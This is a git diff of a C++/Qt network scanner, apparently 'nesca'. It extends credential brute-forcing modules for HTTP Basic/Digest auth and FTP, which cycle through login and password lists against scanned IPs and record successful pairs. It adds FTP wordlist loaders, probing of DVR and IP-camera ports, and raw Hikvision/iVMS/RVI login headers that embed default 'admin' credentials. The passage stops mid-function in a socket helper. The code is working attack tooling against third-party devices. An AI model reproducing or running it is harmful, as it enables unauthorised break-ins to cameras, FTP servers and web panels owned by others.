diff --git a/BasicAuth.cpp b/BasicAuth.cpp
index 27a73ab..aa51d94 100644
--- a/BasicAuth.cpp
+++ b/BasicAuth.cpp
@@ -25,8 +25,6 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) {
|| Utils::ustrstr(*buffer, "403 Forbidden") != -1
)
{
- stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")");
-
Sleep(30000);
return -1;
}
@@ -47,33 +45,28 @@ inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode
return 0;
}
-lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
- string lpString;
+lopaStr BA::BABrute(const char *ip, const int port) {
+ bool digestMode = true;
+ string lpString;
lopaStr lps = {"UNKNOWN", "", ""};
int passCounter = 0;
int res = 0;
+ int rowIndex = -1;
std::string buff;
Connector con;
- Sleep(1000);
+
con.nConnect(ip, port, &buff);
int isDig = Utils::isDigest(&buff);
+ QString ipString = QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port);
if (isDig == -1) {
- stt->doEmitionFoundData("No 401 detected - " +
- QString(ip) + ":" + QString::number(port) + "");
+ stt->doEmitionFoundData("No 401 detected - " +
+ ipString + "");
strcpy(lps.login, "");
return lps;
}
- else if (isDig == 1) {
- if (digestMode != true) {
- digestMode = true;
- }
- }
- else {
- if (digestMode != false) {
- digestMode = false;
- };
- }
+ else if (isDig == 1) digestMode = true;
+ else digestMode = false;
std::string buffer;
@@ -96,6 +89,13 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
else if (res != -1) {
res = checkOutput(&buffer, ip, port);
if (res == -2) {
+
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "404");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, "--", "404");
+ }
strcpy(lps.other, "404");
return lps;
}
@@ -104,31 +104,53 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
break;
}
if (res == 1) {
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
+ }
+
strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]);
return lps;
};
}
- if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
- "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
- QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
-
- Sleep(100);
+ if (BALogSwitched) {
+ if (rowIndex == -1) {
+ rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
+ QString(loginLst[i]) + ":" + QString(passLst[j]),
+ QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]),
+ QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
+ }
+ }
+ else { rowIndex = -1; }
+ ++passCounter;
+ Sleep(50);
}
}
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
+ }
return lps;
}
-lopaStr BA::BALobby(const char *ip, const int port, bool digestMode) {
+lopaStr BA::BALobby(const char *ip, const int port) {
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
++baCount;
++BrutingThrds;
- const lopaStr &lps = BABrute(ip, port, digestMode);
+ const lopaStr &lps = BABrute(ip, port);
--BrutingThrds;
return lps;
diff --git a/BasicAuth.h b/BasicAuth.h
index 5f40f1d..e84f625 100644
--- a/BasicAuth.h
+++ b/BasicAuth.h
@@ -8,11 +8,11 @@
class BA {
private:
- static lopaStr BABrute(const char *ip, const int port, bool digestMode);
+ static lopaStr BABrute(const char *ip, const int port);
public:
static int checkOutput(const string *buffer, const char *ip, const int port);
- static lopaStr BALobby(const char *ip, const int port, bool digestMode);
+ static lopaStr BALobby(const char *ip, const int port);
};
#endif // BASICAUTH_H
diff --git a/Connector.cpp b/Connector.cpp
index c1e1eb3..4c79549 100644
--- a/Connector.cpp
+++ b/Connector.cpp
@@ -2,7 +2,6 @@
#include "SSHAuth.h"
#include "Filter.h"
-
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
int _pingMyTarget(const char *ip)
{
@@ -197,16 +196,14 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
else res = curl_easy_perform(curl);
int sz = buffer->size();
+
+ curl_easy_cleanup(curl);
if (res == CURLE_OK || (port == 21 && sz > 0)) {
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
Activity += sz;
-
- curl_easy_cleanup(curl);
return sz;
} else {
- curl_easy_cleanup(curl);
if (res == 6) return -2;
- if (res == 56 && port == 8000) return 1; //Hikvision
else if (res != 28 &&
res != 7 &&
res != 13 &&
@@ -219,7 +216,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
res != 23)
{
if (res == 5) {
- stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
+ stt->doEmitionRedFoundData("The given proxy host could not be resolved.");
return -2;
} else if (res == 8) {
stt->doEmitionFoundData("Strange ftp reply. (" +
@@ -251,6 +248,28 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
};
}
+bool portCheck(const char * sDVRIP, int wDVRPort) {
+ CURL *curl = curl_easy_init();
+ if (curl != NULL) {
+ curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
+ curl_easy_setopt(curl, CURLOPT_URL, sDVRIP);
+ curl_easy_setopt(curl, CURLOPT_PORT, wDVRPort);
+ int proxyPort = std::atoi(gProxyPort);
+ if (proxyPort > 0 && proxyPort < 65535) curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
+ curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
+ curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
+ curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
+ curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L);
+
+ int res = curl_easy_perform(curl);
+ curl_easy_cleanup(curl);
+ if (res != CURLE_OK) {
+ return false;
+ }
+ else return true;
+ }
+ else return false;
+}
int Connector::connectToPort(char* ip, int port)
{
if(gPingNScan)
@@ -261,16 +280,25 @@ int Connector::connectToPort(char* ip, int port)
std::string buffer;
int size = 0;
- if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
- else size = nConnect(ip, port, &buffer);
+ if (port != 37777 && port != 8000 && port != 34567 && port != 9000){
+ if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
+ else size = nConnect(ip, port, &buffer);
- if(size > 0)
- {
- ++Alive;//ME2
- ++found;//PieStat
- Lexems lx;
- lx.filler(ip, port, &buffer, size, &lx);
+ if (size > 0)
+ {
+ ++Alive;//ME2
+ ++found;//PieStat
+ Lexems lx;
+ lx.filler(ip, port, &buffer, size, &lx);
+ }
+ else if (size == -2) return -2;
+ } else {
+ if (portCheck(ip, port)) {
+ ++Alive;//ME2
+ ++found;//PieStat
+ Lexems lx;
+ lx.filler(ip, port, &buffer, size, &lx);
+ };
}
- else if (size == -2) return -2;
- return 0;
+ return 0;
}
diff --git a/Connector.h b/Connector.h
index 6bd1fe1..62ef8a3 100644
--- a/Connector.h
+++ b/Connector.h
@@ -10,6 +10,27 @@
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib,"curllib.lib")
#endif
+
+#include
+
+#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
+#define MUTEX_TYPE HANDLE
+#define MUTEX_SETUP(x) (x) = CreateMutex(NULL, FALSE, NULL)
+#define MUTEX_CLEANUP(x) CloseHandle(x)
+#define MUTEX_LOCK(x) WaitForSingleObject((x), INFINITE)
+#define MUTEX_UNLOCK(x) ReleaseMutex(x)
+#define THREAD_ID GetCurrentThreadId()
+#else
+#include
+#define MUTEX_TYPE pthread_mutex_t
+#define MUTEX_SETUP(x) pthread_mutex_init(&(x), NULL)
+#define MUTEX_CLEANUP(x) pthread_mutex_destroy(&(x))
+#define MUTEX_LOCK(x) pthread_mutex_lock(&(x))
+#define MUTEX_UNLOCK(x) pthread_mutex_unlock(&(x))
+#define THREAD_ID pthread_self()
+#endif
+
+
class Connector {
public:
@@ -18,11 +39,6 @@ class Connector {
const std::vector *customHeaders = NULL,
const std::string *lpString = NULL,
bool digestMode = false);
- //static int nConnect2(const char* ip, const int port, std::string *buffer,
- // const char *postData = NULL,
- // const std::vector *customHeaders = NULL,
- // const std::string *lpString = NULL,
- // bool digestMode = false);
int connectToPort(char *ip, int port);
};
#endif // CONNECTOR_H
diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp
index d4cb5d0..7cec52c 100644
--- a/DrawerTh_ME2Scanner.cpp
+++ b/DrawerTh_ME2Scanner.cpp
@@ -40,8 +40,8 @@ int MakePolygonLine(int gWidth)
xtx = x + tx;
if(xtx > 1 && xtx < 31)
{
- qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - AnomC1 * 2 - fact1 : ME2YPOS);
- if(AnomC1 > 0)
+ qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - camerasC1 * 2 - fact1 : ME2YPOS);
+ if (camerasC1 > 0)
{
if(xtx < 16 ) fact1+=2;
else fact1-=2;
@@ -50,9 +50,9 @@ int MakePolygonLine(int gWidth)
if(xtx > 34 && xtx < 72)
{
- qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - WF * 2 - fact2 : ME2YPOS);
+ qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*WF*/0 * 2 - fact2 : ME2YPOS);
- if(WF > 0)
+ if(/*WF*/0 > 0)
{
if(xtx < 52 ) fact2+=2;
else fact2-=2;
@@ -72,9 +72,9 @@ int MakePolygonLine(int gWidth)
if(xtx > 114 && xtx < 152)
{
- qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Susp * 2 - fact4 : ME2YPOS);
+ qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - other * 2 - fact4 : ME2YPOS);
- if(Susp > 0)
+ if (other > 0)
{
if(xtx < 132 ) fact4+=2;
else fact4-=2;
@@ -94,9 +94,9 @@ int MakePolygonLine(int gWidth)
if(xtx > 194 && xtx < 232)
{
- qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Lowl * 2 - fact6 : ME2YPOS);
+ qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*Lowl*/0 * 2 - fact6 : ME2YPOS);
- if(Lowl > 0)
+ if(/*Lowl*/0 > 0)
{
if(xtx < 212 ) fact6+=2;
else fact6-=2;
@@ -118,14 +118,14 @@ int MakePolygonLine(int gWidth)
tx = x;
};
- AnomC1 = 0;
- WF = 0;
+ camerasC1 = 0;
+ //WF = 0;
baCount = 0;
filtered = 0;
Overl = 0;
- Lowl = 0;
+ //Lowl = 0;
Alive = 0;
- Susp = 0;
+ other = 0;
DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS));
return DrawerTh_ME2Scanner::polyVect.size();
@@ -148,14 +148,14 @@ void DrawerTh_ME2Scanner::run()
else
{
msleep(1000);
- AnomC1 = 0;
- WF = 0;
+ camerasC1 = 0;
+ //WF = 0;
baCount = 0;
filtered = 0;
Overl = 0;
- Lowl = 0;
+ //Lowl = 0;
Alive = 0;
- Susp = 0;
+ other = 0;
};
msleep(100);
};
diff --git a/DrawerTh_QoSScanner.cpp b/DrawerTh_QoSScanner.cpp
index 3f1ef25..f7e664d 100644
--- a/DrawerTh_QoSScanner.cpp
+++ b/DrawerTh_QoSScanner.cpp
@@ -12,10 +12,10 @@ void DrawerTh_QoSScanner::run()
{
lstOfLabels.clear();
lstOfLabels.append(Alive);
- lstOfLabels.append(AnomC1);
- lstOfLabels.append(WF);
- lstOfLabels.append(Susp);
- lstOfLabels.append(Lowl);
+ lstOfLabels.append(camerasC1);
+ //lstOfLabels.append(WF);
+ lstOfLabels.append(other);
+ //lstOfLabels.append(Lowl);
lstOfLabels.append(baCount);
lstOfLabels.append(Overl);
lstOfLabels.append(ssh);
@@ -29,25 +29,25 @@ void DrawerTh_QoSScanner::run()
else
{
msleep(500);
- AnomC1 = 0;
- WF = 0;
+ camerasC1 = 0;
+ //WF = 0;
baCount = 0;
filtered = 0;
Overl = 0;
- Lowl = 0;
+ //Lowl = 0;
Alive = 0;
- Susp = 0;
+ other = 0;
ssh = 0;
};
- AnomC1 = 0;
- WF = 0;
+ camerasC1 = 0;
+ //WF = 0;
baCount = 0;
filtered = 0;
Overl = 0;
- Lowl = 0;
+ //Lowl = 0;
Alive = 0;
- Susp = 0;
+ other = 0;
ssh = 0;
msleep(2000);
};
diff --git a/DrawerTh_VoiceScanner.cpp b/DrawerTh_VoiceScanner.cpp
index 406a091..51922d0 100644
--- a/DrawerTh_VoiceScanner.cpp
+++ b/DrawerTh_VoiceScanner.cpp
@@ -104,15 +104,15 @@ void DrawerTh_VoiceScanner::run()
{
if(widgetIsHidden == false && tray->isVisible() == false)
{
- makeVoiceLine(Alive, AnomC1, WF, Susp, Lowl, baCount, Overl, WF, ssh);
+ makeVoiceLine(Alive, camerasC1, 0, other, 0, baCount, Overl, 0, ssh);
Alive = 0;
- AnomC1 = 0;
- WF = 0;
+ camerasC1 = 0;
+ //WF = 0;
filtered = 0;
- Lowl = 0;
+ //Lowl = 0;
baCount = 0;
Overl = 0;
- Susp = 0;
+ other = 0;
ssh = 0;
vsTh->doEmitAddLine();
@@ -122,13 +122,13 @@ void DrawerTh_VoiceScanner::run()
{
msleep(500);
Alive = 0;
- AnomC1 = 0;
- WF = 0;
+ camerasC1 = 0;
+ //WF = 0;
filtered = 0;
- Lowl = 0;
+ //Lowl = 0;
baCount = 0;
Overl = 0;
- Susp = 0;
+ other = 0;
ssh = 0;
};
};
diff --git a/FTPAuth.cpp b/FTPAuth.cpp
index 9afba36..9022a77 100644
--- a/FTPAuth.cpp
+++ b/FTPAuth.cpp
@@ -17,26 +17,26 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
int res = 0;
int passCounter = 0;
+ int rowIndex = -1;
char login[128] = {0};
char pass[32] = {0};
char nip[128] = { 0 };
- for(int i = 0; i < MaxLogin; ++i)
+ for (int i = 0; i < MaxFTPLogin; ++i)
{
if(!globalScanFlag) return lps;
- FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
- if(strlen(loginLst[i]) <= 1) continue;
+ FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
+ strcpy(login, ftpLoginLst[i]);
+ if (strlen(login) <= 1) continue;
- strcpy(login, loginLst[i]);
- for(int j = 0; j < MaxPass; ++j)
+ for (int j = 0; j < MaxFTPPass; ++j)
{
if(!globalScanFlag) return lps;
- FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
- if(strlen(passLst[j]) <= 1) continue;
-
- strcpy(pass, passLst[j]);
+ FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
+ strcpy(pass, ftpPassLst[j]);
+ if (strlen(pass) <= 1) continue;
lpString = string(login) + ":" + string(pass);
@@ -44,23 +44,54 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
sprintf(nip, "ftp://%s", ip);
Connector con;
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
- if (res == -2) return lps;
+ if (res == -2) {
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
+ }
+ return lps;
+ }
else if (res != -1) {
if (!globalScanFlag) return lps;
strcpy(lps.login, login);
strcpy(lps.pass, pass);
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
+
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
+ }
+
return lps;
};
- if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
- "; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
- QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
-
- Sleep(100);
+ if (BALogSwitched) {
+ if (rowIndex == -1) {
+ rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
+ QString(login) + ":" + QString(pass),
+ QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
+ QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
+ }
+ }
+ else { rowIndex = -1; }
+ ++passCounter;
+ Sleep(50);
}
}
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
+ }
return lps;
}
@@ -69,15 +100,13 @@ lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
++baCount;
- //BruteUtils::BConInc();
++BrutingThrds;
const lopaStr &lps = FTPBrute(ip, port, ps);
--BrutingThrds;
- //BruteUtils::BConDec();
return lps;
} else {
- lopaStr lps = {"UNKNOWN", "", ""};;
+ lopaStr lps = {"UNKNOWN", "", ""};
return lps;
}
}
diff --git a/FileDownloader.cpp b/FileDownloader.cpp
index 9671afd..b604cfa 100644
--- a/FileDownloader.cpp
+++ b/FileDownloader.cpp
@@ -48,12 +48,12 @@ void checkWeb(const char *fileName, std::string *oldLM) {
void FileDownloader::checkWebFiles() {
while (true) {
- checkWeb("negatives.txt", &lastModifiedNeg);
- checkWeb("login.txt", &lastModifiedL);
- checkWeb("pass.txt", &lastModifiedP);
- checkWeb("sshpass.txt", &lastModifiedSSH);
- checkWeb("wflogin.txt", &lastModifiedWFL);
- checkWeb("wfpass.txt", &lastModifiedWFP);
+ checkWeb(NEGATIVE_FN, &lastModifiedNeg);
+ checkWeb(LOGIN_FN, &lastModifiedL);
+ checkWeb(PASS_FN, &lastModifiedP);
+ checkWeb(SSH_PASS_FN, &lastModifiedSSH);
+ checkWeb(WF_LOGIN_FN, &lastModifiedWFL);
+ checkWeb(WF_PASS_FN, &lastModifiedWFP);
Sleep(600000);
}
}
diff --git a/FileUpdater.cpp b/FileUpdater.cpp
index 42d41be..a6fae8d 100644
--- a/FileUpdater.cpp
+++ b/FileUpdater.cpp
@@ -3,6 +3,11 @@
#include "STh.h"
#include "mainResources.h"
+char **loginLst, **passLst;
+char **wfLoginLst, **wfPassLst;
+char **ftpLoginLst, **ftpPassLst;
+char **sshlpLst;
+
bool FileUpdater::running = false;
long FileUpdater::oldNegLstSize = 0;
long FileUpdater::oldLoginLstSize = 0;
@@ -10,6 +15,8 @@ long FileUpdater::oldPassLstSize = 0;
long FileUpdater::oldSSHLstSize = 0;
long FileUpdater::oldWFLoginLstSize = 0;
long FileUpdater::oldWFPassLstSize = 0;
+long FileUpdater::oldFTPLoginLstSize = 0;
+long FileUpdater::oldFTPPassLstSize = 0;
int FileUpdater::gNegativeSize = 0;
std::mutex FileUpdater::filesUpdatingMutex;
std::condition_variable FileUpdater::cv;
@@ -18,7 +25,7 @@ std::unique_lock FileUpdater::lk;
std::vector FileUpdater::negativeVector;
void negativeLoader() {
- std::ifstream file("negatives.txt");
+ std::ifstream file(NEGATIVE_FN);
std::string line;
while (std::getline(file, line)) FileUpdater::negativeVector.push_back(line);
@@ -41,7 +48,7 @@ void updateLogin() {
char buffFG[32] = {0};
- FILE *loginList = fopen("login.txt", "r");
+ FILE *loginList = fopen(LOGIN_FN, "r");
if(loginList != NULL)
{
@@ -94,7 +101,7 @@ void updatePass() {
char buffFG[32] = {0};
- FILE *passList = fopen("pass.txt", "r");
+ FILE *passList = fopen(PASS_FN, "r");
if(passList != NULL)
{
@@ -148,7 +155,7 @@ void updateSSH() {
char buffFG[32] = {0};
ZeroMemory(buffFG, sizeof(buffFG));
- FILE *sshlpList = fopen("sshpass.txt", "r");
+ FILE *sshlpList = fopen(SSH_PASS_FN, "r");
if(sshlpList != NULL)
{
@@ -202,7 +209,7 @@ void updateWFLogin() {
char buffFG[32] = {0};
ZeroMemory(buffFG, sizeof(buffFG));
- FILE *wfLoginList = fopen("wflogin.txt", "r");
+ FILE *wfLoginList = fopen(WF_LOGIN_FN, "r");
if(wfLoginList != NULL)
{
@@ -251,7 +258,7 @@ void updateWFPass() {
char buffFG[32] = {0};
ZeroMemory(buffFG, sizeof(buffFG));
- FILE *wfPassList = fopen("wfpass.txt", "r");
+ FILE *wfPassList = fopen(WF_PASS_FN, "r");
if(wfPassList != NULL)
{
@@ -286,7 +293,104 @@ void updateWFPass() {
fclose(wfPassList);
}
}
+void updateFTPLogin() {
+
+ if (ftpLoginLst != NULL)
+ {
+ for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i];
+ delete[]ftpLoginLst;
+ ftpLoginLst = NULL;
+ };
+
+ MaxFTPLogin = 0;
+
+ char buffFG[32] = { 0 };
+ ZeroMemory(buffFG, sizeof(buffFG));
+
+ FILE *ftpLoginList = fopen(FTP_LOGIN_FN, "r");
+
+ if (ftpLoginList != NULL)
+ {
+ while (fgets(buffFG, 32, ftpLoginList) != NULL)
+ {
+ MaxFTPLogin++;
+ ZeroMemory(buffFG, sizeof(buffFG));
+ };
+
+ rewind(ftpLoginList);
+
+ ftpLoginLst = new char*[MaxFTPLogin];
+
+ for (int j = 0; j < MaxFTPLogin; j++)
+ {
+ ftpLoginLst[j] = new char[32];
+ };
+
+ int i = 0;
+ while (fgets(buffFG, 32, ftpLoginList) != NULL)
+ {
+ memset(ftpLoginLst[i], 0, strlen(buffFG) + 1);
+
+ if (strstr(buffFG, "\n") != NULL) strncat(ftpLoginLst[i++], buffFG, strlen(buffFG) - 1);
+ else strncat(ftpLoginLst[i++], buffFG, strlen(buffFG));
+ ZeroMemory(buffFG, sizeof(buffFG));
+ };
+
+ if (FileUpdater::oldFTPLoginLstSize == 0) stt->doEmitionGreenFoundData("FTP login list loaded (" + QString::number(MaxFTPLogin) + " entries)");
+ else stt->doEmitionFoundData("FTP login list updated (" + QString::number(MaxFTPLogin) + " entries)");
+
+ fclose(ftpLoginList);
+ }
+}
+void updateFTPPass() {
+
+ if (ftpPassLst != NULL)
+ {
+ for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i];
+ delete[]ftpPassLst;
+ ftpPassLst = NULL;
+ };
+
+ MaxFTPPass = 0;
+
+ char buffFG[32] = { 0 };
+ ZeroMemory(buffFG, sizeof(buffFG));
+
+ FILE *ftpPassList = fopen(FTP_PASS_FN, "r");
+
+ if (ftpPassList != NULL)
+ {
+ while (fgets(buffFG, 32, ftpPassList) != NULL)
+ {
+ ++MaxFTPPass;
+ ZeroMemory(buffFG, sizeof(buffFG));
+ };
+
+ rewind(ftpPassList);
+ ftpPassLst = new char*[MaxFTPPass];
+
+ for (int j = 0; j < MaxFTPPass; j++)
+ {
+ ftpPassLst[j] = new char[32];
+ };
+
+ int i = 0;
+ while (fgets(buffFG, 32, ftpPassList) != NULL)
+ {
+ memset(ftpPassLst[i], 0, strlen(buffFG) + 1);
+
+ if (strstr(buffFG, "\n") != NULL) strncat(ftpPassLst[i++], buffFG, strlen(buffFG) - 1);
+ else strncat(ftpPassLst[i++], buffFG, strlen(buffFG));
+ ZeroMemory(buffFG, sizeof(buffFG));
+ };
+
+ if (FileUpdater::oldFTPPassLstSize == 0) stt->doEmitionGreenFoundData("FTP password list loaded (" + QString::number(MaxFTPPass) + " entries)");
+ else stt->doEmitionFoundData("FTP password list updated (" + QString::number(MaxFTPPass) + " entries)");
+
+ fclose(ftpPassList);
+ }
+}
long getFileSize(const char *fileName) {
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
return in.tellg();
@@ -316,12 +420,14 @@ void FileUpdater::updateLists() {
}
void FileUpdater::loadOnce() {
- updateList("negatives.txt", &oldNegLstSize, (void*(*)(void))updateNegatives);
- updateList("login.txt", &oldLoginLstSize, (void*(*)(void))updateLogin);
- updateList("pass.txt", &oldPassLstSize, (void*(*)(void))updatePass);
- updateList("sshpass.txt", &oldSSHLstSize, (void*(*)(void))updateSSH);
- updateList("wflogin.txt", &oldWFLoginLstSize, (void*(*)(void))updateWFLogin);
- updateList("wfpass.txt", &oldWFPassLstSize, (void*(*)(void))updateWFPass);
+ updateList(NEGATIVE_FN, &oldNegLstSize, (void*(*)(void))updateNegatives);
+ updateList(LOGIN_FN, &oldLoginLstSize, (void*(*)(void))updateLogin);
+ updateList(PASS_FN, &oldPassLstSize, (void*(*)(void))updatePass);
+ updateList(SSH_PASS_FN, &oldSSHLstSize, (void*(*)(void))updateSSH);
+ updateList(WF_LOGIN_FN, &oldWFLoginLstSize, (void*(*)(void))updateWFLogin);
+ updateList(WF_PASS_FN, &oldWFPassLstSize, (void*(*)(void))updateWFPass);
+ updateList(FTP_LOGIN_FN, &oldFTPLoginLstSize, (void*(*)(void))updateFTPLogin);
+ updateList(FTP_PASS_FN, &oldFTPPassLstSize, (void*(*)(void))updateFTPPass);
}
void FileUpdater::FUClear() {
@@ -329,7 +435,9 @@ void FileUpdater::FUClear() {
oldNegLstSize = 0;
oldLoginLstSize = 0;
oldPassLstSize = 0;
- oldSSHLstSize = 0;
- oldWFLoginLstSize = 0;
- oldWFPassLstSize = 0;
+ oldSSHLstSize = 0;
+ oldWFLoginLstSize = 0;
+ oldWFPassLstSize = 0;
+ oldFTPLoginLstSize = 0;
+ oldFTPPassLstSize = 0;
}
diff --git a/FileUpdater.h b/FileUpdater.h
index e23f63f..c38d0ec 100644
--- a/FileUpdater.h
+++ b/FileUpdater.h
@@ -14,7 +14,10 @@ class FileUpdater {
static long oldPassLstSize;
static long oldSSHLstSize;
static long oldWFLoginLstSize;
- static long oldWFPassLstSize;
+ static long oldWFPassLstSize;
+ static long oldFTPLoginLstSize;
+ static long oldFTPPassLstSize;
+
static bool ready;
static std::condition_variable cv;
static std::mutex filesUpdatingMutex;
diff --git a/HikvisionLogin.cpp b/HikvisionLogin.cpp
index 3eeed14..43b0346 100644
--- a/HikvisionLogin.cpp
+++ b/HikvisionLogin.cpp
@@ -4,37 +4,383 @@
bool HikVis::isInitialized = false;
+const char headerSAFARI[128] = {
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x52, 0x00, 0x00, 0x00, 0x7b, 0x22, 0x4d, 0x4f,
+ 0x44, 0x55, 0x4c, 0x45, 0x22, 0x3a, 0x22, 0x43, 0x45, 0x52, 0x54, 0x49, 0x46, 0x49, 0x43, 0x41,
+ 0x54, 0x45, 0x22, 0x2c, 0x22, 0x4f, 0x50, 0x45, 0x52, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x22, 0x3a,
+ 0x22, 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43, 0x54, 0x22, 0x2c, 0x22, 0x53, 0x45, 0x53, 0x53, 0x49,
+ 0x4f, 0x4e, 0x22, 0x3a, 0x22, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x35, 0x2d, 0x36, 0x66,
+ 0x37, 0x32, 0x2d, 0x34, 0x31, 0x63, 0x61, 0x2d, 0x39, 0x63, 0x37, 0x33, 0x2d, 0x62, 0x34, 0x37,
+ 0x31, 0x33, 0x32, 0x36, 0x33, 0x65, 0x62, 0x36, 0x30, 0x22, 0x7d, 0x00
+};
+
+const char headerIVMS[32] = {
+ 0x00, 0x00, 0x00, 0x20, 0x63, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+};
+
+const char headerRVI[32] = {
+ 0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00,
+ 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00,
+ 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00,
+ 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa
+};
+
+const char loginRVIHeaderStart[8] = {
+ 0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00
+};
+const char loginRVIHeaderEnd[8] = {
+ 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa
+};
+
+
+
+int recvWT(
+ int Socket,
+ char *Buffer,
+ int Len,
+ long Timeout,
+ int *bTimedOut
+ ){
+ fd_set ReadSet;
+ int n;
+ struct timeval Time;
+ FD_ZERO(&ReadSet);
+ FD_SET(Socket, &ReadSet);
+ Time.tv_sec = Timeout;
+ Time.tv_usec = 0;
